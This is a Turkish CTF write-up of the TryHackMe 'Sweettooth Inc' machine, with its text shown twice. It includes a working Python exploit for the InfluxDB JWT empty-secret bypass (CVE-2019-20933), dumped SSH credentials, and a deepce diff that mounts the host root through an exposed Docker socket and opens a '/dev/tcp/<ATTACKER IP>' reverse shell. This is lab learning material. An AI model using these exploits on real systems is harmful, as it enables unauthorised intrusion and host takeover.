çözmesi 4 saat yazması 3 saat okuması 20 dk
ilginç bir makineydi ben de paylaşıyım dedim
iyi eğlenceler
intro
makine: sweettooth inc
platform: thm
zorluk: orta
os: linux
portlar
enumurating influxdb
port 8086'da influx db çalışıyordu:
açıkça söylemek gerekirse influxdb hakkında en ufak fikrim olmadığından
ilk yaptığım şey dökümentasyonu açmak oldu
sqlimsi bir syntaxi olan nosql bir veritabanıymış, o nasıl oluyorsa amk herneyse
bu veritabanı ile interaksiyonda bulunmak adına HTTP istekleri gönderiyoruz,
o yüzden fingerprinti HTTP olarak görünüyor zaten
dökümentasyonda `curl` ile güzel HTTP istekleri verilmiş, bu istekleri atabileceğimiz
endpointlerden bir tanesi `/query` buraya aşağıdaki gibi bir post iteği atarak
SQL queryleri çalıştırabiliyoruz:
sonuç:
anlaşılan bize credler lazım, bu db sisteminin default configi ve default credleri fln yok,
JWT cookieleri, düz kullanıcı adı/parola auth gibi farklı auth mekanizmaları var ama nerden cred çıkartabiliriz?
bize bir kullanıcı adı ve parola lazım
enumurating rpcbind
rpcbind'deki servislere bir bakıyım dedim:
nmap'de pek birşey görünmüyor göründüğü gibi, rpcinfo da benzer sonuç:
sadece portmapper ve status, boş şeyler sıradaki servisi geçelim
enumurating usernames from SSH
belirli OpenSSH sunucusu versiyonlarında bozuk paketler gönderek kullanıcı adı enumu
yapmak mümkün, bunu denemeye karar verdim
bu metasploit modülünü kullandım ancak çalışmadı
influxdb auth bypass
diğer servislerden username/parola bulmaya o kadar odaklanmıştım ki influxdb exploiti
varmı kurcalamaya hiç yeltenmemişim, bir an bunu farkettim, ve evet auth bypass sağlayan
bir exploiti söz konusu, tek sorun bir username lazım, bunu brute force etmeye deniyebiliriz
ama öncesinde exploiti biraz daha yakından inceleyelim, bulduğum exploit [burda](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933/blob/master/__main__.py) ve numarası `CVE-2019-20933`:
Alakalı commit'e ve issue'ye gidince sorunu daha yakından anlıyabiliyoruz:
(bu arada go dili için niye highlight yok burda amk neyse manual eklicem belki çalışır)
burda basitçe keyLookupFnı kullanarak applikasyon jwt tokenını parse ediyor, bu fonksiyon bir jwt.Token
objesini parametre olarak alıyor, sonuç olarak da JWT secretını döndürüyor, biraz açıklama gerekebilir
JWT tokenları 3 parçadan oluşuyor, header, payload ve verify signature, burada çoğu JWT kullanan applikasyonda
da kullanılan HS256 algoritması kullanıyor, ya en sondaki verify signature şöyle görünücek:
burdaki doğrulama olayı JWT'nin bu kısmından geçiyor, diyelim siz kötü niyetli biri olarak payload ya da
headerı değiştirdiniz, yeni JWT cookieniz ile oynadınız, signature'u tekrar hesaplıyamazsınız çünkü
JWT secret'ı elinizde değil, zaten size verildiği gibi signature'a dokunmadan JWT tokenını gönderirseniz
sunucu basitçe header, payload ve secretı kullanarak tekrar hashi yani signature'u hesaplayıp signatureların
uyuşmadığını farkedebilir ve JWT'nizi reddeder
burda da olması gerek şey sağlanıyor, bu keyLookupFn JWT secretını döndürüyor, daha sonra jwt.Parse fonksiyonu
bu secret ile hashi yeniden hesaplıyor ve doğru mu diye kontrol ediyor
bu auth mekanizmasında en önemli olan şey doğal olarak secret, secret client'a hiçbir zaman verilmiyor,
client secretın ne olduğunu bilirse zaten istediği JWT tokenını geçerli olan imzalar ile oluşturabilir
bu sayede auth'u bypass etmiş olur
fakat burda JWT secretı doğru bir şekilde kontrol ediliyor, nasıl auth bypass mümkün olabilir?
burda karşımıza go'nun sinir bozucu bir özellik ve bu programın konfigurasyonu çıkıyor, bu influxdb'nin bir
config dosyası var, toml formatında olan bu configurasyon içindeki opisyonlardan biri de `shared-secret`
bu basitçe az önceki koddaki h.Config.SharedSecret değerini belirliyor, yani JWT'nin secretını bu config opsiyonu tutuyor
eğer bu opsiyon config dosyasında belirtilmemişse nasıl olcak? işte burda bahsettiğim go'un sinir bozucu olayı
işe karışıyor, go struct yapılarını kullanarak config dosyaları vs'den veri deserilize, serilize ederseniz
hızlıca karşılaşacağınız bir durum: serilize etiğiniz objede olmayan değerler boş olarak bırakılıyor
bunu aslında hemen denemeniz mümkün, config.json ve main.go olarak iki dosya oluşturun:
ardından `go build main.go` ile programı build edebilirsiniz, eğer programı çalıştırsanız
aşağıdaki çıktıyı alıcaksınız:
gördüğünüz gibi config'de belirtmediğimizden Test3'ün değeri sadece boş bir string yani ""
burda da aynı şey söz konusu, eğer config'de belirtilmemişse JWT auth'un disable edilmesi lazım, ancak
burda SharedSecret boş mu değil mi kontrol edilmemiş, bu da demek ki eğer kullanıcı configinde shared-secret`
belirtilmemişse (dökümentasyonda bile bu opsiyon belirtilmediğinden çok yüksek ihtimal) o zaman
shared-secret boş olucaktır
daha önce öylediğim gibi JWT'nin tüm olayı bu secret üzerine kurulu, bu secretı client'ın bilmemesi lazım,
ama burda JWT secretın değerini biliyoruz! JWT'nin içerikleri ile oynayıp imzası doğru olan JWT tokenları
üreterek auth bypass sağlıyabiliriz!
fakat hatırlarsanız bir de username lazım, az önce linkini bıraktığım exploitdeki brute force şeysini
kendim implemente etmeye çalıştım ama valid isim bulamadım, bu exploiti biraz daha araştırınca yeni birşey buldum
anlaşılan /debug/requests e bir istek atarak kullanıcı adlarını alabiliyormuşuz
hemen basit bir shell script yazdım:
şöyle bir JSON objesi döndürdü:
burda kullanıcı adı o5yY6yya olan kısım
evet onu zaten siksek dict attack ile bulamazmışız
o zaman sıra exploitde:
jwt kısmında ikinci parametre secret, onu boş birşey bırakıyoruz işte, ilk parametrede exp expiration date,
uzun birşey yapmamız yeterli, username içinse bulduğumuz kullanıcı adı, farketiyseniz orjinal curl
isteğindeki gibi sadece `q` yani query'yi setlemedim, yanında db de var, spesifik bir db altında query
atmak adına bu parametreyi setlememiz gerekiyor bkz dökümentasyon
önce database setlemeden bir query atıp tüm db'leri çekiyorum ardından gerisi bizim inputumuza kalmış
enumurating databases from influxdb for credentials
hadi çalıştıralım:
çıktı:
güzel şimdi db'ler elimizde, task soruları için `mixer` ve `tanks`e bakmamız lazımdı, ama asıl olay `cred`
dbsinde, adından da anlaşılıyor zaten
bunun syntaxi biraz farklı, cred dbsini çekmek adına:
güzel artık ssh credlerimiz olduğuna göre artık makineye erişebiliriz
escaping docker container using the docker socket
bir docker içinde olmamız ve ilk flagin user'ın ev dizininde olması dışı makineye bağlanıp biraz
enum yapınca dikkat çeken şeylerden biri docker socketine erişimimiz olması:
hatta ilginç bir şekilde docker socketi `socat` ile proxylenmiş? normal de curl
gibi bir araçla docker socket API'ına erişebiliriz ve bunun için --unix-socket flag'ini kullanırız
ancak ilginç şekilde kullanılan docker'da çalışan debian 8 jessie paketlerinde curl'un bu flagi yok?
repolarına baktım ama bi sikm çıkmadı yine de büyük ihtimal curl docker image'inde --disable-unix-sockets ile config edilmiş başka nasıl açıklanabilir bilmiyorum
herneyse bu elemanın neden socat listenerı açtığını açıklıyor
az yavaşlıyım da docker olayını bir açıklayalım, bu normalde /var/run/docker.sock da bulunun docker
socketi container oluşturmamıza vs. docker olayları ile interaksiyon kurmamıza izin veren bir HTTP API'ı
expose ediyor, eğer docker oluşturulurken bu socket bu durumdaki gibi expose edilirse o zaman bu sockete yazarak
docker'ı yönetebiliriz, bu durumda yapabileceğimiz güzel bir hareket asıl host makinenin / yani root dizinini
/mnt a mountlamak, bu sayede asıl host sistemin dosya sistemine yeni oluşturduğumuz zararlı docker üzerinden
erişebiliriz
exploit etmek adına deepce adlı bir araç kullandım, ama socat proxysini kullandığımızdan scriptde bazı değişiklikler yapmam gerekti, diff çıktısı:
burda alpine image'ini makinede varolan bir image ile değiştirdiğimi görebilirsiniz, bu image'i bulmak adına
/images/json endpointe bir istek attım:
direk alpine kullanmaya çalışması saçma açıkçası neyse pr attım mergeler belki
scripti düzenledikten sonra listenerımı açtım, scriptimi piton web sunucusu ile hedef makineye
yerleştirdim ve çalıştırdım:
ve shellim indi, bu exploit payload değişkeninden de görebileceğiniz gibi otomatik mountladığımız host dosya
sistemine chroot atıyor yani doğrudan içerdeyiz, artık root flagini alabiliriz
getting root in docker using docker exec
işin komik yani asıl container'da root almadım, ve flaglerden biri asıl containerın root dizininde, bir adımı
geçtik yani xd
her neyse bu kolay artık host makinede olduğumuzdan direk containerlardan birinde shell alabiliriz, docker ps çıktısı:
burda sweettoothinc:latest image'ini kullanan bizim asıl container, diğer influxdb de bizim zararlı container, asıl container'da shell almak adına:
ve artık root olarak containera erişimiz var, atladığım flagi de aldığıma göre bunu burada kesebiliriz
ps: lütfen şuraya markdown stillendirme getirin yalvarırım
ilginç bir makineydi ben de paylaşıyım dedim
iyi eğlenceler
intro
makine: sweettooth inc
platform: thm
zorluk: orta
os: linux
portlar
Kod:
111/tcp open rpcbind syn-ack ttl
2222/tcp open ssh syn-ack ttl
8086/tcp open http syn-ack ttl
60183/tcp open status syn-ack ttl
enumurating influxdb
port 8086'da influx db çalışıyordu:
Kod:
8086/tcp open http syn-ack ttl 62 InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8)
açıkça söylemek gerekirse influxdb hakkında en ufak fikrim olmadığından
ilk yaptığım şey dökümentasyonu açmak oldu
sqlimsi bir syntaxi olan nosql bir veritabanıymış, o nasıl oluyorsa amk herneyse
bu veritabanı ile interaksiyonda bulunmak adına HTTP istekleri gönderiyoruz,
o yüzden fingerprinti HTTP olarak görünüyor zaten
dökümentasyonda `curl` ile güzel HTTP istekleri verilmiş, bu istekleri atabileceğimiz
endpointlerden bir tanesi `/query` buraya aşağıdaki gibi bir post iteği atarak
SQL queryleri çalıştırabiliyoruz:
Kod:
curl -X POST http://<target>:8086/query --data-urlencode "q=<query>"
sonuç:
JSON:
{"error":"unable to parse authentication credentials"}
anlaşılan bize credler lazım, bu db sisteminin default configi ve default credleri fln yok,
JWT cookieleri, düz kullanıcı adı/parola auth gibi farklı auth mekanizmaları var ama nerden cred çıkartabiliriz?
bize bir kullanıcı adı ve parola lazım
enumurating rpcbind
rpcbind'deki servislere bir bakıyım dedim:
Kod:
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33895/udp6 status
| 100024 1 36831/udp status
| 100024 1 45795/tcp6 status
|_ 100024 1 60183/tcp status
nmap'de pek birşey görünmüyor göründüğü gibi, rpcinfo da benzer sonuç:
Kod:
program version netid address service owner
100000 4 tcp6 ::.0.111 portmapper superuser
100000 3 tcp6 ::.0.111 portmapper superuser
100000 4 udp6 ::.0.111 portmapper superuser
100000 3 udp6 ::.0.111 portmapper superuser
100000 4 tcp 0.0.0.0.0.111 portmapper superuser
100000 3 tcp 0.0.0.0.0.111 portmapper superuser
100000 2 tcp 0.0.0.0.0.111 portmapper superuser
100000 4 udp 0.0.0.0.0.111 portmapper superuser
100000 3 udp 0.0.0.0.0.111 portmapper superuser
100000 2 udp 0.0.0.0.0.111 portmapper superuser
100000 4 local /run/rpcbind.sock portmapper superuser
100000 3 local /run/rpcbind.sock portmapper superuser
100024 1 udp 0.0.0.0.143.223 status 108
100024 1 tcp 0.0.0.0.235.23 status 108
100024 1 udp6 ::.132.103 status 108
100024 1 tcp6 ::.178.227 status 108
sadece portmapper ve status, boş şeyler sıradaki servisi geçelim
enumurating usernames from SSH
belirli OpenSSH sunucusu versiyonlarında bozuk paketler gönderek kullanıcı adı enumu
yapmak mümkün, bunu denemeye karar verdim
bu metasploit modülünü kullandım ancak çalışmadı
influxdb auth bypass
diğer servislerden username/parola bulmaya o kadar odaklanmıştım ki influxdb exploiti
varmı kurcalamaya hiç yeltenmemişim, bir an bunu farkettim, ve evet auth bypass sağlayan
bir exploiti söz konusu, tek sorun bir username lazım, bunu brute force etmeye deniyebiliriz
ama öncesinde exploiti biraz daha yakından inceleyelim, bulduğum exploit [burda](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933/blob/master/__main__.py) ve numarası `CVE-2019-20933`:
Kod:
InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret).
Alakalı commit'e ve issue'ye gidince sorunu daha yakından anlıyabiliyoruz:
(bu arada go dili için niye highlight yok burda amk neyse manual eklicem belki çalışır)
Kod:
case BearerAuthentication:
keyLookupFn := func(token *jwt.Token) (interface{}, error) {
// Check for expected signing method.
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, fmt.Errorf("unexpected signing method: %v", token.Header["alg"])
}
return []byte(h.Config.SharedSecret), nil
}
// Parse and validate the token.
token, err := jwt.Parse(creds.Token, keyLookupFn)
if err != nil {
h.httpError(w, err.Error(), http.StatusUnauthorized)
return
} else if !token.Valid {
h.httpError(w, "invalid token", http.StatusUnauthorized)
return
}
burda basitçe keyLookupFnı kullanarak applikasyon jwt tokenını parse ediyor, bu fonksiyon bir jwt.Token
objesini parametre olarak alıyor, sonuç olarak da JWT secretını döndürüyor, biraz açıklama gerekebilir
JWT tokenları 3 parçadan oluşuyor, header, payload ve verify signature, burada çoğu JWT kullanan applikasyonda
da kullanılan HS256 algoritması kullanıyor, ya en sondaki verify signature şöyle görünücek:
Kod:
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
burdaki doğrulama olayı JWT'nin bu kısmından geçiyor, diyelim siz kötü niyetli biri olarak payload ya da
headerı değiştirdiniz, yeni JWT cookieniz ile oynadınız, signature'u tekrar hesaplıyamazsınız çünkü
JWT secret'ı elinizde değil, zaten size verildiği gibi signature'a dokunmadan JWT tokenını gönderirseniz
sunucu basitçe header, payload ve secretı kullanarak tekrar hashi yani signature'u hesaplayıp signatureların
uyuşmadığını farkedebilir ve JWT'nizi reddeder
burda da olması gerek şey sağlanıyor, bu keyLookupFn JWT secretını döndürüyor, daha sonra jwt.Parse fonksiyonu
bu secret ile hashi yeniden hesaplıyor ve doğru mu diye kontrol ediyor
bu auth mekanizmasında en önemli olan şey doğal olarak secret, secret client'a hiçbir zaman verilmiyor,
client secretın ne olduğunu bilirse zaten istediği JWT tokenını geçerli olan imzalar ile oluşturabilir
bu sayede auth'u bypass etmiş olur
fakat burda JWT secretı doğru bir şekilde kontrol ediliyor, nasıl auth bypass mümkün olabilir?
burda karşımıza go'nun sinir bozucu bir özellik ve bu programın konfigurasyonu çıkıyor, bu influxdb'nin bir
config dosyası var, toml formatında olan bu configurasyon içindeki opisyonlardan biri de `shared-secret`
bu basitçe az önceki koddaki h.Config.SharedSecret değerini belirliyor, yani JWT'nin secretını bu config opsiyonu tutuyor
eğer bu opsiyon config dosyasında belirtilmemişse nasıl olcak? işte burda bahsettiğim go'un sinir bozucu olayı
işe karışıyor, go struct yapılarını kullanarak config dosyaları vs'den veri deserilize, serilize ederseniz
hızlıca karşılaşacağınız bir durum: serilize etiğiniz objede olmayan değerler boş olarak bırakılıyor
bunu aslında hemen denemeniz mümkün, config.json ve main.go olarak iki dosya oluşturun:
JSON:
{
"test1": "hello",
"test2": "world"
}
Kod:
]package main
import (
"encoding/json"
"fmt"
"io/ioutil"
)
type Config struct {
Test1 string `json:"test1"`
Test2 string `json:"test2"`
Test3 string `json:"test3"`
}
func main() {
raw, err := ioutil.ReadFile("config.json")
if err != nil {
fmt.Println(err)
return
}
cfg := Config{}
err = json.Unmarshal(raw, &cfg)
if err != nil {
fmt.Println(err)
return
}
fmt.Printf("Test1: %s\n", cfg.Test1)
fmt.Printf("Test2: %s\n", cfg.Test2)
fmt.Printf("Test3: %s\n", cfg.Test3)
}
ardından `go build main.go` ile programı build edebilirsiniz, eğer programı çalıştırsanız
aşağıdaki çıktıyı alıcaksınız:
Kod:
Test1: hello
Test2: word
Test3:
gördüğünüz gibi config'de belirtmediğimizden Test3'ün değeri sadece boş bir string yani ""
burda da aynı şey söz konusu, eğer config'de belirtilmemişse JWT auth'un disable edilmesi lazım, ancak
burda SharedSecret boş mu değil mi kontrol edilmemiş, bu da demek ki eğer kullanıcı configinde shared-secret`
belirtilmemişse (dökümentasyonda bile bu opsiyon belirtilmediğinden çok yüksek ihtimal) o zaman
shared-secret boş olucaktır
daha önce öylediğim gibi JWT'nin tüm olayı bu secret üzerine kurulu, bu secretı client'ın bilmemesi lazım,
ama burda JWT secretın değerini biliyoruz! JWT'nin içerikleri ile oynayıp imzası doğru olan JWT tokenları
üreterek auth bypass sağlıyabiliriz!
fakat hatırlarsanız bir de username lazım, az önce linkini bıraktığım exploitdeki brute force şeysini
kendim implemente etmeye çalıştım ama valid isim bulamadım, bu exploiti biraz daha araştırınca yeni birşey buldum
anlaşılan /debug/requests e bir istek atarak kullanıcı adlarını alabiliyormuşuz
hemen basit bir shell script yazdım:
Bash:
#!/bin/bash
curl http://$1:8086/debug/requests
şöyle bir JSON objesi döndürdü:
JSON:
{
"o5yY6yya:127.0.0.1": {"writes":2,"queries":4}
}
burda kullanıcı adı o5yY6yya olan kısım
evet onu zaten siksek dict attack ile bulamazmışız
o zaman sıra exploitde:
Python:
#!/bin/python3
from sys import argv, stdout
import urllib.parse
import readline
import requests
import time
import jwt
if len(argv) != 3:
print(f"usage: {argv[0]} <ip> <username>")
exit()
IP = argv[1]
token = jwt.encode({
"username": argv[2],
"exp": int(time.time()) + 2.628 * 10 ** 6
}, "", algorithm="HS256")
HEADERS = {
"Authorization": "Bearer "+token
}
def send(query: str, db: str) -> dict:
if db == "":
res = requests.post(
f"http://{IP}:8086/query",
data={"q": query},
headers=HEADERS
).json()
else:
res = requests.post(
f"http://{IP}:8086/query?pretty=true",
data={"q": query, "db": db},
headers=HEADERS
).json()
return res
print("DATABASES:")
print(send("SHOW databases", ""))
while True:
try:
db = input("database > ")
q = input("query > ")
except:
break
print(send(q, db))
jwt kısmında ikinci parametre secret, onu boş birşey bırakıyoruz işte, ilk parametrede exp expiration date,
uzun birşey yapmamız yeterli, username içinse bulduğumuz kullanıcı adı, farketiyseniz orjinal curl
isteğindeki gibi sadece `q` yani query'yi setlemedim, yanında db de var, spesifik bir db altında query
atmak adına bu parametreyi setlememiz gerekiyor bkz dökümentasyon
önce database setlemeden bir query atıp tüm db'leri çekiyorum ardından gerisi bizim inputumuza kalmış
enumurating databases from influxdb for credentials
hadi çalıştıralım:
Kod:
python3 influx.py <target> o5yY6yya
çıktı:
Kod:
DATABASES:
{'results': [{'statement_id': 0, 'series': [{'name': 'databases', 'columns': ['name'], 'values': [['_internal'], ['creds'], ['docker'], ['tanks'], ['mixer']]}]}]}
güzel şimdi db'ler elimizde, task soruları için `mixer` ve `tanks`e bakmamız lazımdı, ama asıl olay `cred`
dbsinde, adından da anlaşılıyor zaten
bunun syntaxi biraz farklı, cred dbsini çekmek adına:
Kod:
database > creds
query > SHOW measurements
{'results': [{'statement_id': 0, 'series': [{'name': 'measurements', 'columns': ['name'], 'values': [['ssh']]}]}]}
database > creds
query > SELECT * FROM "ssh"
{'results': [{'statement_id': 0, 'series': [{'name': 'ssh', 'columns': ['time', 'pw', 'user'], 'values': [['2021-05-16T12:00:00Z', 7788764472, 'uzJk6Ry98d8C']]}]}]}
güzel artık ssh credlerimiz olduğuna göre artık makineye erişebiliriz
escaping docker container using the docker socket
bir docker içinde olmamız ve ilk flagin user'ın ev dizininde olması dışı makineye bağlanıp biraz
enum yapınca dikkat çeken şeylerden biri docker socketine erişimimiz olması:
Kod:
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 Aug15 ? 00:00:00 /bin/bash -c chmod a+rw /var/run/docker.sock && service ssh start & /bin/su uzJk6Ry98d8C -c '/initializeandqu
root 7 1 0 Aug15 ? 00:00:00 /bin/su uzJk6Ry98d8C -c /initializeandquery.sh & /entrypoint.sh influxd
uzJk6Ry+ 15 7 0 Aug15 ? 00:00:00 bash -c /initializeandquery.sh & /entrypoint.sh influxd
uzJk6Ry+ 16 15 0 Aug15 ? 00:00:05 /bin/bash /initializeandquery.sh
uzJk6Ry+ 17 15 0 Aug15 ? 00:00:39 influxd
root 33 1 0 Aug15 ? 00:00:00 /usr/sbin/sshd
uzJk6Ry+ 1420 16 0 00:56 ? 00:00:00 sleep 5
uzJk6Ry+ 1421 3194 0 00:56 pts/0 00:00:00 ps -eaf
root 3159 33 0 Aug15 ? 00:00:00 sshd: uzJk6Ry98d8C [priv]
uzJk6Ry+ 3193 3159 0 Aug15 ? 00:00:00 sshd: uzJk6Ry98d8C@pts/0
uzJk6Ry+ 3194 3193 0 Aug15 pts/0 00:00:00 -bash
uzJk6Ry+ 6835 16 0 Aug15 ? 00:00:00 socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock
root 13545 0 0 Aug15 pts/1 00:00:00 bash
hatta ilginç bir şekilde docker socketi `socat` ile proxylenmiş? normal de curl
gibi bir araçla docker socket API'ına erişebiliriz ve bunun için --unix-socket flag'ini kullanırız
ancak ilginç şekilde kullanılan docker'da çalışan debian 8 jessie paketlerinde curl'un bu flagi yok?
repolarına baktım ama bi sikm çıkmadı yine de büyük ihtimal curl docker image'inde --disable-unix-sockets ile config edilmiş başka nasıl açıklanabilir bilmiyorum
herneyse bu elemanın neden socat listenerı açtığını açıklıyor
az yavaşlıyım da docker olayını bir açıklayalım, bu normalde /var/run/docker.sock da bulunun docker
socketi container oluşturmamıza vs. docker olayları ile interaksiyon kurmamıza izin veren bir HTTP API'ı
expose ediyor, eğer docker oluşturulurken bu socket bu durumdaki gibi expose edilirse o zaman bu sockete yazarak
docker'ı yönetebiliriz, bu durumda yapabileceğimiz güzel bir hareket asıl host makinenin / yani root dizinini
/mnt a mountlamak, bu sayede asıl host sistemin dosya sistemine yeni oluşturduğumuz zararlı docker üzerinden
erişebiliriz
exploit etmek adına deepce adlı bir araç kullandım, ama socat proxysini kullandığımızdan scriptde bazı değişiklikler yapmam gerekti, diff çıktısı:
Diff:
1056,1057c1056,1057
< payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$cmd\\\"\"]"
< response=$(curl -s -XPOST --unix-socket /var/run/docker.sock -d "{\"Image\":\"alpine\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create)
---
> payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"bash -c 'bash -i >& /dev/tcp/<ATTACKER IP>/1234 0>&1'\\\"\"]"
> response=$(curl -s -XPOST -d "{\"Image\":\"influxdb:1.3.0\",\"cmd\":$payload, \"Binds\": [\"/:/mnt:rw\"]}" -H 'Content-Type: application/json' http://127.0.0.1:8080/containers/create)
1069,1072c1069,1072
< startCmd="curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/start"
< logsCmd="curl -s --unix-socket /var/run/docker.sock \"http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1\" --output -"
< deleteCmd="curl -s -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID/stop"
< removeCmd="curl -s -XDELETE --unix-socket /var/run/docker.sock http://localhost/containers/$revShellContainerID"
---
> startCmd="curl -s -XPOST http://127.0.0.1:8080/containers/$revShellContainerID/start"
> logsCmd="curl -s \"http://127.0.0.1:8080/containers/$revShellContainerID/logs?stderr=1&stdout=1\" --output -"
> deleteCmd="curl -s -XPOST http://127.0.0.1:8080/containers/$revShellContainerID/stop"
> removeCmd="curl -s -XDELETE http://127.0.0.1:8080/containers/$revShellContainerID"
burda alpine image'ini makinede varolan bir image ile değiştirdiğimi görebilirsiniz, bu image'i bulmak adına
/images/json endpointe bir istek attım:
Bash:
curl http://127.0.0.1:8080/images/json
direk alpine kullanmaya çalışması saçma açıkçası neyse pr attım mergeler belki
scripti düzenledikten sonra listenerımı açtım, scriptimi piton web sunucusu ile hedef makineye
yerleştirdim ve çalıştırdım:
Bash:
chmod +x deepce2
./deepce2
ve shellim indi, bu exploit payload değişkeninden de görebileceğiniz gibi otomatik mountladığımız host dosya
sistemine chroot atıyor yani doğrudan içerdeyiz, artık root flagini alabiliriz
getting root in docker using docker exec
işin komik yani asıl container'da root almadım, ve flaglerden biri asıl containerın root dizininde, bir adımı
geçtik yani xd
her neyse bu kolay artık host makinede olduğumuzdan direk containerlardan birinde shell alabiliriz, docker ps çıktısı:
Kod:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
12a28f3a4d96 influxdb:1.3.0 "/entrypoint.sh /bin…" 2 hours ago Up 2 hours 8086/tcp zealous_morse
9240d184e400 sweettoothinc:latest "/bin/bash -c 'chmod…" 5 hours ago Up 5 hours 0.0.0.0:8086->8086/tcp, 0.0.0.0:2222->22/tcp sweettoothinc
burda sweettoothinc:latest image'ini kullanan bizim asıl container, diğer influxdb de bizim zararlı container, asıl container'da shell almak adına:
Bash:
docker exec -it 9240d184e400 bash
ve artık root olarak containera erişimiz var, atladığım flagi de aldığıma göre bunu burada kesebiliriz
ps: lütfen şuraya markdown stillendirme getirin yalvarırım
Bu içeriği görmek için giriş yapın.